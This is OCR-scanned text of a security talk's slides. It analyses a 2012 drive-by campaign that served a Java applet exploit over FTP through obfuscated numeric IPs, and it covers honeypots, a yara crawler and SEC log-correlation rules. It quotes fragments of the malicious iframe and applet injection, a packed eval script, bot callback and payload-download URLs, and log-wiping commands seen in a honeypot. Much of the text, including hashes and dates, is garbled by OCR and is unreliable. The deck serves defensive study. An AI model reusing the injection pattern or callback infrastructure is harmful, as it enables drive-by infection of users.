updates payload via HTTP

Typical bot activity: HTTP Post, payload updates via HTTP.



infected site

<iframe src=ftp://3645455029/1/s.html...

Not Bot

hander.be (64.120.141.126)
aratecti.be (46.37.186.98)
C&C (Just expamples)

Domain
3645455029
Java.com
3645455029

3645455029

URL

/1/s.html
/js/deployJava.js
[1/exp.jar

[filel.dat

' o

ftp server
[P:217.73.58.181

java.com/js/| deployjava.|s

java.com
|P:137.254.16.66

HTTP POST
<

Mo timeout

Referrer
Infected site
3645455029

BOT

Payload Size
html 997
javascript 4923
application/x 18046
-jar

application/e 138352
xecutable



Attack analysis
- Script from www. Java.com used during attack.

- Applet exp.jar loaded by FTP

- FTP Server IP ado
detection

ress obfuscated to avoid

=) =div style="position:absolute;left:-1000px"=
=l =iframe srec="ftp:/ /36454580291 html"=

= <html=>
= <head=

<zcript sroc="httpo:

Jdava.conS s deployJava. 3"

</ head=
= <body=

<embed id="deployJavaPlugin" hidden="true" type="application/Jjava-depl

=l <script=

1l evali{functionip,a,c, ke, d){e=functionic) {return c.toStringiIc) |

SCrip

<applet archiwve="ftp: 26454550291 fexp . Jar" code="morale_ class">

=1 frame-



Interesting modifications

GET nttp://java.com/ru/download/windows Ie.|sp?
host=java.comé&returnPage=ftp://217.73.58.181/1]s.

html&locale=ru HTTP/1.1

XSS in Java.com was abused (already fixed)?!

Key feature example

Date/Time 2012-04-20 11:11:49 MSD
Tag Name FTP Pass

Target IP Address 217.73.63.202
Target Object Name 21

:password Javal.6.0 30@

user  anonymous




Activity example

Date/Time 2012-04-29
02:05:48 MSD

Tag Name HIT'TP_Post

Target IP Address
217.73.60.107

:server
rugtif.be

:URL
/check_system.php

Domain Registered:
2012-04-21

Date/Time 2012-04-29
02:06:08 MSD

Tag Name HT'TP_Post

Target IP Address
208.73.210.29

:server
eksyghskgsbakrys.com
:URL
/check_system.php




Onhost deteciton and activity

Payload: usually netprotocol.exe. Located In
Users\USER_ NAME\AppData\Roaming,
which periodically downloads other malware

Further payload loaded via HTTP
Nttp://64.191.65.99/view_img.php?c=4&amp;
K=ad422297a462ec0f01b83bc96068e064

Enetpmtnml B E Ah 03,2072 159:4 734
106 exe 02.04.2012 174232
Melro.exe 3,04 2072 2:09:535

Ehwe.e:-:e 13.04 2072 15:09:20



Detection By AV Sample from May

09 2012 Detect ratio 1/42
S_ total

SHAZGE: BabBlcyheddideecd7 Yecfc9a353e091 101 6h8e338MedY9yd0846ad 1 BYfd 3203
File name: netprotocol.exe

De_te_ctn:un 1147

ratio:

Analysis date: 2012-09-09 1652598 UTC {0 MAHYT ago )

hdare details

Amtparus Resul

Micrasoft -

MOD3E2 Wina2Ismtoltar A




Monitoring infection and post
Infection activity

 Infection: .jar and .dat file downloaded by FTP, server name
= obfuscated IP Addres, example ftp://3645456330/6/e.jar
Java version in FTP password, example Javal.6.0 29@

 Updates: executable transfer from some Internet host,
example GET http://184.82.0.35/flkwe.exe

* Postinfection activity: Mass HTTP Post to normal and
generated domains with URL: check system.php

09:04:46 POST http://hander.be/check _system.php
09:05:06 POST http://aratecti.be/check system.php
09:06:48 POST http://hander.be/check _system.php
09:07:11 POST http://aratecti.be/check system.php




collecting samples from the exploit
packs

Simply create the
ENVIRONMENT, which he is
targeting (JVM, IE, Adobe ..)

Be aware of serve once per IP and
other restrictions

.1 { j

I.|‘1:':"| "" r"l

ITSATRAP!!



ftp://3645456330/6/e.jar
http://aratecti.be/check_system.php
http://hander.be/check_system.php

Consulting company works fine,
but it was their last time

11/6/2012 10:24 0x53.0xaa.0x6a.0x38  http://0x53.0xaa.0x6a.0x38/info.txt

11/6/2012 10:24 0123.0252.0152.070 http://0123.0252.0152.070/info.txt

11/6/2012 10:24 1440109764 http://1440109764/info.txt
11/6/2012 10:24 1403677240 140367/7240:443
11/6/2012 10:24 4211031720 4211031720:443
11/6/2012 10:24 12352465070 012352465070:443

11/6/2012 10:24 24725152160 024725152160:443






Honepots

* Practical experience with building honeypots
and what gets captured.

||l ||4 {3 :_ AR

“onnecting ,.'u;n_et :;f;[:], .

TTF sent, awaiting response...

ls -la

root root 4096 2013

root root 4096 2013

m o_rf vash histor }.
Jar/run/ IT""':'.
var/run/wtm
var 1 lastlo g

f fJi flaitlgg

P reques

To
T
¥ 1
¥ 1

+=

1 = e




Honeypots

 There are quite a few to grab and customize:
* Kippo

e http://amunhoney.sourceforge.net/ - gets lots of
web kiddies In.

e Lets watch some cartoons ;-)

Terminal




Roll-your-own crawler + yara ;)

* Used to automate detection of exploitkit
redirect placements. Per-se static, uses
jsunpack to deobfuscate javascript before
rules are applied. HAS MANY LIMITATIONS ;)

Jcrawler.py yandex.ru

WARNING: no protocol given. using http

crawling url http://yandex.ru

Crawling under domain: yandex.ru

fetching http://yandex.ru

fetching http://home.yandex.ru/?from=prov_main

fetching http://soft.yandex.ru/?mp

fetching http://tune.yandex.ru/region/?retpath=http%3A%2F%2Fwww.yandex.ru%2F%3Fd
fetching http://www.yandex.ru/?edit=1


http://amunhoney.sourceforge.net/

Control network objects
(update _macs.pl)

* What Is It for?
* How It works and data sources
* Demo



Control network objects
(update _macs.pl)

The main idea Is collecting and matching USER
IDs from different sources (network devices).



Control network objects
(update _macs.pl)

The main idea Is collecting and matching USER
IDs from different sources (network devices).

IDs: Sources:
* Workstation IP * AD
* User AD Login * Switch
* MAC * Router
* Switch

* Port



Control network objects
(update _macs.pl)

The main idea Is collecting and matching USER
IDs from different sources (network devices).

IDs: Sources:
* Workstation IP * AD
* User AD Login * Switch
* MAC * Router

* Switch } Location
* Port



Control network objects
(update _macs.pl)

LogonActivity
Storn(n OB > Authe ntictionPackage |SoumeMetworkAddress | UserName
e i L e
= ML
——————IP€3AD Login 10111213 swsokolov
Fetch Logon Logs—
— oo MACS e
Store in DB ——— *raac IP swit Port Lozln
MAC €>Part 00-11-32-33-44-55 |10.1112.13 |swfe2924 [fa0f1B  [swsokolov
M5 g P :
logparser 7 i
[ Store in DB i | - |
Active Directory IPEPAD Login b ;
. Ir |
DC f-”f | s E
T | |
\‘\u
ARP o
Tatsle
[cron) h\"‘q
| HTTES
Update macs.pl Database

f (MS sQL)

Router

MAC-address-table
{oron)

Switch



What Is It for, update_macs.pl?
(use cases)

1. We see IP-address in IDS\IPS logs. Who Is

there?
2. If we don't know who. Where is it?
3. If we use DHCP. Who was when?

4. Control moving from one location to another.



SEC: Simple Event Correlator
» Again if you don't have SIEM....

* IS a tool for accomplishing event correlation
tasks in the domains of log analysis, system
monitoring, network and security management,
etc

o Written in Perl
 http://simple-evcorr.sourceforge.net/

* We can't imagine scenario that can't be
Implemented in SEC



Deployment

Windowy (SMARE)

=B
% ? it: ? swsl-u:-g""'r E;aJ
Sk G
T ~
LIMIX Nix
e syslog-ng NMcAfee ePO
Snmptrapd

SEC.pl


http://simple-evcorr.sourceforge.net/

Correlated events: IDS (ISS RNE)
(portscan analysis)

Problem: Just single * Probe * (probe) means
nothing, but from one source:

* 5 same probes within 60 sec.,
10 different probes within 60 sec.,
* probes to 7 different destinations within 60 sec.,

* Probes at speed (number of events/time
period) more than 0.5,

... heed to be Investigated.



Correlated events: IDS (ISS RNE)
(Another interesting cases)

* TCP_Probe SMTP — look for e-mail worm (G1
— “silly”, G2 - “advances”),

* |P_Duplicate — look for ARP Poisoning,

« DHCP_Ack — look for “admin hack” - fake
DHCP server,

 (HTTP|FTP) Put — control data leakage (if you
don't have DLP :-)



Correlation events: McAfee ePO

* |f you're in epidemic — special rules for events,

» See all events of “file infected ... clean error ...
delete failed” — they need to be fixed manually or
somehow differently.



Correlation rules: Windows
(general cases)

 User Account Locked out (644)

» User Account Created (624), Deleted
(630), Added to Global gr (632), Added merosnsoitions o secury
to Local gr (636), Enabled/Disabled— """
(642), Changed (524)

The Security Monitoring and

o Startl ng u p (5 12) , S h uttl ng dOWﬂ Attack Detection Planning Guide
(513)

S see MS' Security Monitoring and
attack detection planning guide Microsoft



Correlation rules: Windows
(Interesting cases)

 Events that have not seen before
* Password hashes have been dumped

* Windows Service was started (during usual
server operation)



Features of not targeted and
targeted threats

Drawing a line between targeted and not
targeted threats (Massive Drive-By almost
always not targeted, email with sploits = hight
probability of targeted attack)



Questions :)



